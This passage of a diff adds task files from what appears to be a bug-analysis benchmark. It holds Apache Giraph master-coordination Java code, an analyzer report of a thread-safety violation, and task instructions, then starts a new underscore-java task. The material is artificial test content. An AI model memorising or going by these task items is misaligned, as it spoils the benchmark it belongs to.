+            new ArrayList<VertexRange<I, V, E, M>>();
+        try {
+            inputSplitPathList = getZkExt().getChildrenExt(INPUT_SPLIT_PATH,
+                                                           false,
+                                                           false,
+                                                           true);
+            int numRanges = 0;
+            for (String inputSplitPath : inputSplitPathList) {
+                String inputSplitFinishedPath = inputSplitPath +
+                    INPUT_SPLIT_FINISHED_NODE;
+                byte [] zkData =
+                    getZkExt().getData(inputSplitFinishedPath, false, null);
+                if (zkData == null || zkData.length == 0) {
+                    if (LOG.isInfoEnabled()) {
+                        LOG.info("inputSplitsToVertexRanges: No vertex ranges " +
+                                 "in " + inputSplitFinishedPath);
+                    }
+                    continue;
+                }
+                JSONArray statArray = new JSONArray(new String(zkData));
+                JSONObject vertexRangeObj = null;
+                for (int i = 0; i < statArray.length(); ++i) {
+                    vertexRangeObj = statArray.getJSONObject(i);
+                    String hostnamePartitionId =
+                        vertexRangeObj.getString(JSONOBJ_HOSTNAME_ID_KEY);
+                    if (!chosenWorkerHostnamePortMap.containsKey(
+                        hostnamePartitionId)) {
+                        LOG.fatal("inputSplitsToVertexRanges: Worker " +
+                              hostnamePartitionId + " died, failing.");
+                        setJobState(State.FAILED, -1, -1);
+                    }
+                   JSONArray hostnamePortArray =
+                       chosenWorkerHostnamePortMap.get(hostnamePartitionId);
+                   vertexRangeObj.put(JSONOBJ_HOSTNAME_KEY,
+                                      hostnamePortArray.getString(0));
+                   vertexRangeObj.put(JSONOBJ_PORT_KEY,
+                                      hostnamePortArray.getString(1));
+                   Class<I> indexClass =
+                       BspUtils.getVertexIndexClass(getConfiguration());
+                    VertexRange<I, V, E, M> vertexRange =
+                        new VertexRange<I, V, E, M>(indexClass, vertexRangeObj);
+                    vertexRangeList.add(vertexRange);
+                    ++numRanges;
+                }
+            }
+
+            JSONArray vertexRangeAssignmentArray =
+                new JSONArray();
+            for (VertexRange<I, V, E, M> vertexRange : vertexRangeList) {
+                vertexRangeAssignmentArray.put(vertexRange.toJSONObject());
+            }
+            String vertexRangeAssignmentsPath =
+                getVertexRangeAssignmentsPath(getApplicationAttempt(),
+                                              getSuperstep());
+            if (LOG.isInfoEnabled()) {
+                LOG.info("inputSplitsToVertexRanges: Assigning " + numRanges +
+                         " vertex ranges of total length " +
+                         vertexRangeAssignmentArray.toString().length() +
+                         " to path " + vertexRangeAssignmentsPath);
+            }
+            getZkExt().createExt(vertexRangeAssignmentsPath,
+                                 vertexRangeAssignmentArray.toString().getBytes(),
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "inputSplitsToVertexRanges: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "inputSplitsToVertexRanges: IllegalStateException", e);
+        } catch (JSONException e) {
+            throw new IllegalStateException(
+                "inputSplitsToVertexRanges: JSONException", e);
+        } catch (IOException e) {
+            throw new IllegalStateException(
+                "inputSplitsToVertexRanges: IOException", e);
+        } catch (InstantiationException e) {
+            throw new IllegalStateException(
+                "inputSplitsToVertexRanges: InstantiationException", e);
+        } catch (IllegalAccessException e) {
+            throw new IllegalStateException(
+                "inputSplitsToVertexRanges: IllegalAccessException", e);
+        }
+    }
+
+    /**
+     * Balance the vertex ranges before the next superstep computation begins.
+     * Wait until the vertex ranges data has been moved to the correct
+     * worker prior to continuing.
+     *
+     * @param vertexRangeBalancer balancer to use
+     * @param chosenWorkerHostnamePortMap workers available
+     * @throws JSONException
+     * @throws IOException
+     * @throws UnsupportedEncodingException
+     */
+    private void balanceVertexRanges(
+            VertexRangeBalancer<I, V, E, M> vertexRangeBalancer,
+            Map<String, JSONArray> chosenWorkerHostnamePortMap) {
+        vertexRangeBalancer.setSuperstep(getSuperstep());
+        vertexRangeBalancer.setWorkerHostnamePortMap(
+            chosenWorkerHostnamePortMap);
+        NavigableMap<I, VertexRange<I, V, E, M>> vertexRangeMap =
+            getVertexRangeMap(getSuperstep() - 1);
+        vertexRangeBalancer.setPrevVertexRangeMap(vertexRangeMap);
+        NavigableMap<I, VertexRange<I, V, E, M>> nextVertexRangeMap =
+            vertexRangeBalancer.rebalance();
+        vertexRangeBalancer.setNextVertexRangeMap(nextVertexRangeMap);
+        vertexRangeBalancer.setPreviousHostnamePort();
+        nextVertexRangeMap = vertexRangeBalancer.getNextVertexRangeMap();
+        if (nextVertexRangeMap.size() != vertexRangeMap.size()) {
+            throw new IllegalArgumentException(
+                "balanceVertexRanges: Next vertex range count " +
+                nextVertexRangeMap.size() + " != " + vertexRangeMap.size());
+        }
+        JSONArray vertexRangeAssignmentArray = new JSONArray();
+        VertexRange<I, V, E, M> maxVertexRange = null; // TODO: delete after Bug 4340282 fixed.
+        for (VertexRange<I, V, E, M> vertexRange :
+                nextVertexRangeMap.values()) {
+            try {
+                vertexRangeAssignmentArray.put(
+                    vertexRange.toJSONObject());
+                if (maxVertexRange == null || // TODO: delete after Bug 4340282 fixed.
+                        vertexRange.toJSONObject().toString().length() <
+                        maxVertexRange.toJSONObject().toString().length()) {
+                    maxVertexRange = vertexRange;
+                }
+            } catch (IOException e) {
+                throw new IllegalStateException(
+                    "balanceVertexRanges: IOException", e);
+            } catch (JSONException e) {
+                throw new IllegalStateException(
+                    "balanceVertexRanges: JSONException", e);
+            }
+        }
+        if (vertexRangeAssignmentArray.length() == 0) {
+            throw new RuntimeException(
+                "balanceVertexRanges: Impossible there are no vertex ranges ");
+        }
+
+        byte[] vertexAssignmentBytes = null;
+        try {
+            vertexAssignmentBytes =
+                vertexRangeAssignmentArray.toString().getBytes("UTF-8");
+        } catch (UnsupportedEncodingException e) {
+            throw new RuntimeException(
+                "balanceVertexranges: Cannot get bytes from " +
+                vertexRangeAssignmentArray.toString(), e);
+        }
+
+        // TODO: delete after Bug 4340282 fixed.
+        if (LOG.isInfoEnabled()) {
+            try {
+                LOG.info("balanceVertexRanges: numVertexRanges=" +
+                         nextVertexRangeMap.values().size() +
+                         " lengthVertexRanges=" + vertexAssignmentBytes.length +
+                         " maxVertexRangeLength=" +
+                         maxVertexRange.toJSONObject().toString().length());
+            } catch (IOException e) {
+                throw new RuntimeException(
+                    "balanceVertexRanges: IOException fetching " +
+                    maxVertexRange.toString(), e);
+            } catch (JSONException e) {
+                throw new RuntimeException(
+                    "balanceVertexRanges: JSONException fetching " +
+                    maxVertexRange.toString(), e);
+            }
+        }
+
+        String vertexRangeAssignmentsPath =
+            getVertexRangeAssignmentsPath(getApplicationAttempt(),
+                                          getSuperstep());
+        try {
+            getZkExt().createExt(vertexRangeAssignmentsPath,
+                                 vertexAssignmentBytes,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isInfoEnabled()) {
+                LOG.info("balanceVertexRanges: Node " +
+                     vertexRangeAssignmentsPath + " already exists", e);
+            }
+        } catch (KeeperException e) {
+            LOG.fatal("balanceVertexRanges: Got KeeperException", e);
+            throw new IllegalStateException(
+                "balanceVertexRanges: Got KeeperException", e);
+        } catch (InterruptedException e) {
+            LOG.fatal("balanceVertexRanges: Got InterruptedException", e);
+            throw new IllegalStateException(
+                "balanceVertexRanges: Got InterruptedException", e);
+        }
+
+        long changes = vertexRangeBalancer.getVertexRangeChanges();
+        if (LOG.isInfoEnabled()) {
+            LOG.info("balanceVertexRanges: Waiting on " + changes +
+                     " vertex range changes");
+        }
+        if (changes == 0) {
+            return;
+        }
+
+        String vertexRangeExchangePath =
+            getVertexRangeExchangePath(getApplicationAttempt(), getSuperstep());
+        List<String> workerExchangeList = null;
+        try {
+            getZkExt().createExt(vertexRangeExchangePath,
+                                 null,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isInfoEnabled()) {
+                LOG.info("balanceVertexRanges: " + vertexRangeExchangePath +
+                         "exists");
+            }
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "balanceVertexRanges: Got KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "balanceVertexRanges: Got InterruptedException", e);
+        }
+        while (true) {
+            try {
+                workerExchangeList =
+                    getZkExt().getChildrenExt(
+                        vertexRangeExchangePath, true, false, false);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "balanceVertexRanges: Got KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "balanceVertexRanges: Got InterruptedException", e);
+            }
+            if (workerExchangeList.size() == changes) {
+                break;
+            }
+            getVertexRangeExchangeChildrenChangedEvent().waitForever();
+            getVertexRangeExchangeChildrenChangedEvent().reset();
+        }
+        String vertexRangeExchangeFinishedPath =
+            getVertexRangeExchangeFinishedPath(getApplicationAttempt(),
+                                               getSuperstep());
+        try {
+            getZkExt().createExt(vertexRangeExchangeFinishedPath,
+                                 null,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "balanceVertexRanges: Got KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "balanceVertexRanges: Got InterruptedException", e);
+        }
+    }
+
+    /**
+     * Check whether the workers chosen for this superstep are still alive
+     *
+     * @param chosenWorkerHealthPath Path to the healthy workers in ZooKeeper
+     * @param chosenWorkerSet Set of the healthy workers
+     * @return true if they are all alive, false otherwise.
+     * @throws InterruptedException
+     * @throws KeeperException
+     */
+    private boolean superstepChosenWorkerAlive(
+            String chosenWorkerHealthPath,
+            Set<String> chosenWorkerSet)
+            throws KeeperException, InterruptedException {
+        List<String> chosenWorkerHealthyList =
+            getZkExt().getChildrenExt(chosenWorkerHealthPath,
+                                      true,
+                                      false,
+                                      false);
+        Set<String> chosenWorkerHealthySet =
+            new HashSet<String>(chosenWorkerHealthyList);
+        boolean allChosenWorkersHealthy = true;
+        for (String chosenWorker : chosenWorkerSet) {
+            if (!chosenWorkerHealthySet.contains(chosenWorker)) {
+                allChosenWorkersHealthy = false;
+                LOG.warn("superstepChosenWorkerAlive: Missing chosen worker " +
+                         chosenWorker + " on superstep " + getSuperstep());
+            }
+        }
+        return allChosenWorkersHealthy;
+    }
+
+    @Override
+    public void restartFromCheckpoint(long checkpoint) {
+        // Process:
+        // 1. Remove all old input split data
+        // 2. Increase the application attempt and set to the correct checkpoint
+        // 3. Send command to all workers to restart their tasks
+        try {
+            getZkExt().deleteExt(INPUT_SPLIT_PATH, -1, true);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(
+                "retartFromCheckpoint: InterruptedException", e);
+        } catch (KeeperException e) {
+            throw new RuntimeException(
+                "retartFromCheckpoint: KeeperException", e);
+        }
+        setApplicationAttempt(getApplicationAttempt() + 1);
+        setCachedSuperstep(checkpoint);
+        setRestartedSuperstep(checkpoint);
+        setJobState(BspService.State.START_SUPERSTEP,
+                    getApplicationAttempt(),
+                    checkpoint);
+    }
+
+    /**
+     * Only get the finalized checkpoint files
+     */
+    public static class FinalizedCheckpointPathFilter implements PathFilter {
+        @Override
+        public boolean accept(Path path) {
+            if (path.getName().endsWith(
+                    BspService.CHECKPOINT_FINALIZED_POSTFIX)) {
+                return true;
+            } else {
+                return false;
+            }
+        }
+    }
+
+    @Override
+    public long getLastGoodCheckpoint() throws IOException {
+        // Find the last good checkpoint if none have been written to the
+        // knowledge of this master
+        if (lastCheckpointedSuperstep == -1) {
+            FileStatus[] fileStatusArray =
+                getFs().listStatus(new Path(CHECKPOINT_BASE_PATH),
+                                   new FinalizedCheckpointPathFilter());
+            if (fileStatusArray == null) {
+                return -1;
+            }
+            Arrays.sort(fileStatusArray);
+            lastCheckpointedSuperstep = getCheckpoint(
+                fileStatusArray[fileStatusArray.length - 1].getPath());
+            LOG.info("getLastGoodCheckpoint: Found last good checkpoint " +
+                     lastCheckpointedSuperstep + " from " +
+                     fileStatusArray[fileStatusArray.length - 1].
+                     getPath().toString());
+        }
+        return lastCheckpointedSuperstep;
+    }
+
+    @Override
+    public SuperstepState coordinateSuperstep() throws
+            KeeperException, InterruptedException {
+        // 1. Get chosen workers and set up watches on them.
+        // 2. Assign partitions to the workers
+        //    or possibly reload from a superstep
+        // 3. Wait for all workers to complete
+        // 4. Collect and process aggregators
+        // 5. Create superstep finished node
+        // 6. If the checkpoint frequency is met, finalize the checkpoint
+        Map<String, JSONArray> chosenWorkerHostnamePortMap = checkWorkers();
+        if (chosenWorkerHostnamePortMap == null) {
+            LOG.fatal("coordinateSuperstep: Not enough healthy workers for " +
+                      "superstep " + getSuperstep());
+            setJobState(State.FAILED, -1, -1);
+        } else {
+            for (Entry<String, JSONArray> entry :
+                    chosenWorkerHostnamePortMap.entrySet()) {
+                String workerHealthyPath =
+                    getWorkerHealthyPath(getApplicationAttempt(),
+                                         getSuperstep()) + "/" + entry.getKey();
+                if (getZkExt().exists(workerHealthyPath, true) == null) {
+                    LOG.warn("coordinateSuperstep: Chosen worker " +
+                             workerHealthyPath +
+                             " is no longer valid, failing superstep");
+                }
+            }
+        }
+
+        currentWorkersCounter.increment(chosenWorkerHostnamePortMap.size() -
+                                        currentWorkersCounter.getValue());
+        if (getRestartedSuperstep() == getSuperstep()) {
+            try {
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("coordinateSuperstep: Reloading from superstep " +
+                             getSuperstep());
+                }
+                mapFilesToWorkers(
+                    getRestartedSuperstep(),
+                    new ArrayList<String>(
+                        chosenWorkerHostnamePortMap.keySet()));
+                inputSplitsToVertexRanges(chosenWorkerHostnamePortMap);
+            } catch (IOException e) {
+                throw new IllegalStateException(
+                    "coordinateSuperstep: Failed to reload", e);
+            }
+        } else {
+            if (getSuperstep() > 0) {
+                VertexRangeBalancer<I, V, E, M> vertexRangeBalancer =
+                    BspUtils.<I, V, E, M>createVertexRangeBalancer(
+                        getConfiguration());
+                synchronized (vertexRangeSynchronization) {
+                    balanceVertexRanges(vertexRangeBalancer,
+                                        chosenWorkerHostnamePortMap);
+                }
+            }
+        }
+
+        String finishedWorkerPath =
+            getWorkerFinishedPath(getApplicationAttempt(), getSuperstep());
+        try {
+            getZkExt().createExt(finishedWorkerPath,
+                                 null,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("coordinateSuperstep: finishedWorkers " +
+                          finishedWorkerPath +
+                          " already exists, no need to create");
+            }
+        }
+        String workerHealthyPath =
+            getWorkerHealthyPath(getApplicationAttempt(), getSuperstep());
+        List<String> finishedWorkerList = null;
+        long nextInfoMillis = System.currentTimeMillis();
+        while (true) {
+            try {
+                finishedWorkerList =
+                    getZkExt().getChildrenExt(finishedWorkerPath,
+                                              true,
+                                              false,
+                                              false);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "coordinateSuperstep: Couldn't get children of " +
+                    finishedWorkerPath, e);
+            }
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("coordinateSuperstep: Got finished worker list = " +
+                          finishedWorkerList + ", size = " +
+                          finishedWorkerList.size() +
+                          ", chosen worker list = " +
+                          chosenWorkerHostnamePortMap.keySet() + ", size = " +
+                          chosenWorkerHostnamePortMap.size() +
+                          " from " + finishedWorkerPath);
+            }
+
+            if (LOG.isInfoEnabled() &&
+                    (System.currentTimeMillis() > nextInfoMillis)) {
+                nextInfoMillis = System.currentTimeMillis() + 30000;
+                LOG.info("coordinateSuperstep: " + finishedWorkerList.size() +
+                         " out of " +
+                         chosenWorkerHostnamePortMap.size() +
+                         " chosen workers finished on superstep " +
+                         getSuperstep());
+            }
+            getContext().setStatus(getGraphMapper().getMapFunctions() + " " +
+                                   finishedWorkerList.size() +
+                                   " finished out of " +
+                                   chosenWorkerHostnamePortMap.size() +
+                                   " on superstep " + getSuperstep());
+            if (finishedWorkerList.containsAll(
+                chosenWorkerHostnamePortMap.keySet())) {
+                break;
+            }
+            getSuperstepStateChangedEvent().waitForever();
+            getSuperstepStateChangedEvent().reset();
+
+            // Did a worker die?
+            if ((getSuperstep() > 0) &&
+                    !superstepChosenWorkerAlive(
+                        workerHealthyPath,
+                        chosenWorkerHostnamePortMap.keySet())) {
+                return SuperstepState.WORKER_FAILURE;
+            }
+        }
+        collectAndProcessAggregatorValues(getSuperstep());
+        JSONObject globalInfoObject = aggregateWorkerStats(getSuperstep());
+
+        // Convert the input split stats to vertex ranges in superstep 0
+        if (getSuperstep() == 0) {
+            inputSplitsToVertexRanges(chosenWorkerHostnamePortMap);
+        }
+
+        // Let everyone know the aggregated application state through the
+        // superstep
+        String superstepFinishedNode =
+            getSuperstepFinishedPath(getApplicationAttempt(), getSuperstep());
+        try {
+            getZkExt().createExt(superstepFinishedNode,
+                                 globalInfoObject.toString().getBytes(),
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+            vertexCounter.increment(
+                globalInfoObject.getLong(JSONOBJ_NUM_VERTICES_KEY) -
+                vertexCounter.getValue());
+            finishedVertexCounter.increment(
+                globalInfoObject.getLong(JSONOBJ_FINISHED_VERTICES_KEY) -
+                finishedVertexCounter.getValue());
+            edgeCounter.increment(
+                globalInfoObject.getLong(JSONOBJ_NUM_EDGES_KEY) -
+                edgeCounter.getValue());
+            sentMessagesCounter.increment(
+                globalInfoObject.getLong(JSONOBJ_NUM_MESSAGES_KEY) -
+                sentMessagesCounter.getValue());
+        } catch (JSONException e) {
+            throw new IllegalStateException("coordinateSuperstep: " +
+                                            "JSONException", e);
+        }
+
+
+        // Finalize the valid checkpoint file prefixes and possibly
+        // the aggregators.
+        if (checkpointFrequencyMet(getSuperstep())) {
+            try {
+                finalizeCheckpoint(
+                    getSuperstep(),
+                    new ArrayList<String>(chosenWorkerHostnamePortMap.keySet()));
+            } catch (IOException e) {
+                throw new IllegalStateException(
+                    "coordinateSuperstep: IOException on finalizing checkpoint",
+                    e);
+            }
+        }
+
+        // Clean up the old supersteps (always keep this one)
+        long removeableSuperstep = getSuperstep() - 1;
+        if ((getConfiguration().getBoolean(
+                GiraphJob.KEEP_ZOOKEEPER_DATA,
+                GiraphJob.KEEP_ZOOKEEPER_DATA_DEFAULT) == false) &&
+            (removeableSuperstep >= 0)) {
+            String oldSuperstepPath =
+                getSuperstepPath(getApplicationAttempt()) + "/" +
+                (removeableSuperstep);
+            try {
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("coordinateSuperstep: Cleaning up old Superstep " +
+                             oldSuperstepPath);
+                }
+                getZkExt().deleteExt(oldSuperstepPath,
+                                     -1,
+                                     true);
+            } catch (KeeperException.NoNodeException e) {
+                LOG.warn("coordinateBarrier: Already cleaned up " +
+                         oldSuperstepPath);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "coordinateSuperstep: KeeperException on " +
+                    "finalizing checkpoint", e);
+            }
+        }
+        incrCachedSuperstep();
+        superstepCounter.increment(1);
+        try {
+            if ((globalInfoObject.getLong(JSONOBJ_FINISHED_VERTICES_KEY) ==
+                    globalInfoObject.getLong(JSONOBJ_NUM_VERTICES_KEY)) &&
+                    (globalInfoObject.getLong(JSONOBJ_NUM_MESSAGES_KEY)) == 0) {
+                return SuperstepState.ALL_SUPERSTEPS_DONE;
+            } else {
+                return SuperstepState.THIS_SUPERSTEP_DONE;
+            }
+        } catch (JSONException e) {
+            throw new IllegalStateException(
+                "coordinateSuperstep: JSONException on checking if " +
+                "the application is done", e);
+        }
+    }
+
+    /**
+     * Need to clean up ZooKeeper nicely.  Make sure all the masters and workers
+     * have reported ending their ZooKeeper connections.
+     */
+    private void cleanUpZooKeeper() {
+        try {
+            getZkExt().createExt(CLEANED_UP_PATH,
+                                 null,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isInfoEnabled()) {
+                LOG.info("cleanUpZooKeeper: Node " + CLEANED_UP_PATH +
+                " already exists, no need to create.");
+            }
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "cleanupZooKeeper: Got KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "cleanupZooKeeper: Got IllegalStateException", e);
+        }
+        // Need to wait for the number of workers and masters to complete
+        int maxTasks = BspInputFormat.getMaxTasks(getConfiguration());
+        if ((getGraphMapper().getMapFunctions() == MapFunctions.ALL) ||
+                (getGraphMapper().getMapFunctions() ==
+                    MapFunctions.ALL_EXCEPT_ZOOKEEPER)) {
+            maxTasks *= 2;
+        }
+        List<String> cleanedUpChildrenList = null;
+        while (true) {
+            try {
+                cleanedUpChildrenList =
+                    getZkExt().getChildrenExt(
+                        CLEANED_UP_PATH, true, false, true);
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("cleanUpZooKeeper: Got " +
+                             cleanedUpChildrenList.size() + " of " +
+                             maxTasks  +  " desired children from " +
+                             CLEANED_UP_PATH);
+                }
+                if (cleanedUpChildrenList.size() == maxTasks) {
+                    break;
+                }
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("cleanedUpZooKeeper: Waiting for the " +
+                             "children of " + CLEANED_UP_PATH +
+                             " to change since only got " +
+                             cleanedUpChildrenList.size() + " nodes.");
+                }
+            }
+            catch (Exception e) {
+                // We are in the cleanup phase -- just log the error
+                LOG.error("cleanUpZooKeeper: Got exception, but will continue",
+                          e);
+                return;
+            }
+
+            getCleanedUpChildrenChangedEvent().waitForever();
+            getCleanedUpChildrenChangedEvent().reset();
+        }
+
+         // At this point, all processes have acknowledged the cleanup,
+         // and the master can do any final cleanup
+        try {
+            if (getConfiguration().getBoolean(
+                GiraphJob.KEEP_ZOOKEEPER_DATA,
+                GiraphJob.KEEP_ZOOKEEPER_DATA_DEFAULT) == false) {
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("cleanupZooKeeper: Removing the following path " +
+                             "and all children - " + BASE_PATH);
+                }
+                getZkExt().deleteExt(BASE_PATH, -1, true);
+            }
+        } catch (Exception e) {
+            LOG.error("cleanupZooKeeper: Failed to do cleanup of " +
+                      BASE_PATH, e);
+        }
+    }
+
+    @Override
+    public void cleanup() throws IOException {
+        // All master processes should denote they are done by adding special
+        // znode.  Once the number of znodes equals the number of partitions
+        // for workers and masters, the master will clean up the ZooKeeper
+        // znodes associated with this job.
+        String cleanedUpPath = CLEANED_UP_PATH  + "/" +
+            getTaskPartition() + MASTER_SUFFIX;
+        try {
+            String finalFinishedPath =
+                getZkExt().createExt(cleanedUpPath,
+                                     null,
+                                     Ids.OPEN_ACL_UNSAFE,
+                                     CreateMode.PERSISTENT,
+                                     true);
+            if (LOG.isInfoEnabled()) {
+                LOG.info("cleanup: Notifying master its okay to cleanup with " +
+                         finalFinishedPath);
+            }
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isInfoEnabled()) {
+                LOG.info("cleanup: Couldn't create finished node '" +
+                         cleanedUpPath);
+            }
+        } catch (KeeperException e) {
+            LOG.error("cleanup: Got KeeperException, continuing", e);
+        } catch (InterruptedException e) {
+            LOG.error("cleanup: Got InterruptedException, continuing", e);
+        }
+
+        if (isMaster) {
+            cleanUpZooKeeper();
+            // If desired, cleanup the checkpoint directory
+            if (getConfiguration().getBoolean(
+                    GiraphJob.CLEANUP_CHECKPOINTS_AFTER_SUCCESS,
+                    GiraphJob.CLEANUP_CHECKPOINTS_AFTER_SUCCESS_DEFAULT)) {
+                boolean success =
+                    getFs().delete(new Path(CHECKPOINT_BASE_PATH), true);
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("cleanup: Removed HDFS checkpoint directory (" +
+                             CHECKPOINT_BASE_PATH + ") with return = " +
+                             success + " since this job succeeded ");
+                }
+            }
+        }
+
+        try {
+            getZkExt().close();
+        } catch (InterruptedException e) {
+            // cleanup phase -- just log the error
+            LOG.error("cleanup: Zookeeper failed to close", e);
+        }
+    }
+
+    /**
+     * Event that the master watches that denotes if a worker has done something
+     * that changes the state of a superstep (either a worker completed or died)
+     *
+     * @return Event that denotes a superstep state change
+     */
+    final public BspEvent getSuperstepStateChangedEvent() {
+        return superstepStateChanged;
+    }
+
+    /**
+     * Should this worker failure cause the current superstep to fail?
+     *
+     * @param failedWorkerPath Full path to the failed worker
+     */
+    final private void checkHealthyWorkerFailure(String failedWorkerPath) {
+        synchronized(vertexRangeSynchronization) {
+            if (getSuperstepFromPath(failedWorkerPath) < getSuperstep()) {
+                return;
+            }
+
+            // Check all the workers used in this superstep
+            NavigableMap<I, VertexRange<I, V, E, M>> vertexRangeMap =
+                getVertexRangeMap(getSuperstep());
+            String hostnameId =
+                getHealthyHostnameIdFromPath(failedWorkerPath);
+            for (VertexRange<I, V, E, M> vertexRange :
+                    vertexRangeMap.values()) {
+                if (vertexRange.getHostnameId().equals(hostnameId) ||
+                        ((vertexRange.getPreviousHostnameId() != null) &&
+                                vertexRange.getPreviousHostnameId().equals(
+                                    hostnameId))) {
+                    LOG.warn("checkHealthyWorkerFailure: " +
+                             "at least one healthy worker went down " +
+                             "for superstep " + getSuperstep() + " - " +
+                             hostnameId + ", will try to restart from " +
+                             "checkpointed superstep " +
+                             lastCheckpointedSuperstep);
+                    superstepStateChanged.signal();
+                }
+            }
+        }
+    }
+
+    @Override
+    public boolean processEvent(WatchedEvent event) {
+        boolean foundEvent = false;
+        if (event.getPath().contains(WORKER_HEALTHY_DIR) &&
+                (event.getType() == EventType.NodeDeleted)) {
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("processEvent: Healthy worker died (node deleted) " +
+                          "in " + event.getPath());
+            }
+            checkHealthyWorkerFailure(event.getPath());
+            superstepStateChanged.signal();
+            foundEvent = true;
+        } else if (event.getPath().contains(WORKER_FINISHED_DIR) &&
+                event.getType() == EventType.NodeChildrenChanged) {
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("processEvent: Worker finished (node change) " +
+                          "event - superstepStateChanged signaled");
+            }
+            superstepStateChanged.signal();
+            foundEvent = true;
+        }
+
+        return foundEvent;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.giraph.graph.BspServiceMaster.setup` indirectly writes to field `this.org.apache.giraph.graph.BspService.cachedApplicationAttempt` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BspServiceMaster.setup()
+
+### Procedure Id:
+org.apache.giraph.graph.BspServiceMaster.setup():void.d4c351244e7d95bb7fecba3caf258021
+
+### File:
+src/main/java/org/apache/giraph/graph/BspServiceMaster.java
+
+### Key:
+BspServiceMaster.java|setup|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+be59262f78d1c10c2a91a7de8a80d6ae
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4165/instruction.md b/inferredbugs-4165/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fd5f7575992e2ecf5550669503647b4b0ee062e4
--- /dev/null
+++ b/inferredbugs-4165/instruction.md
@@ -0,0 +1,2184 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** underscore-java
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * The MIT License (MIT)
+ *
+ * Copyright 2015-2018 Valentyn Kolesnikov
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+package com.github.underscore.lodash;
+
+import com.github.underscore.BinaryOperator;
+import com.github.underscore.BiFunction;
+import com.github.underscore.Consumer;
+import com.github.underscore.Function;
+import com.github.underscore.Function3;
+import com.github.underscore.Predicate;
+import com.github.underscore.PredicateIndexed;
+import com.github.underscore.Tuple;
+import com.github.underscore.Optional;
+
+import java.util.*;
+
+public class U<T> extends com.github.underscore.U<T> {
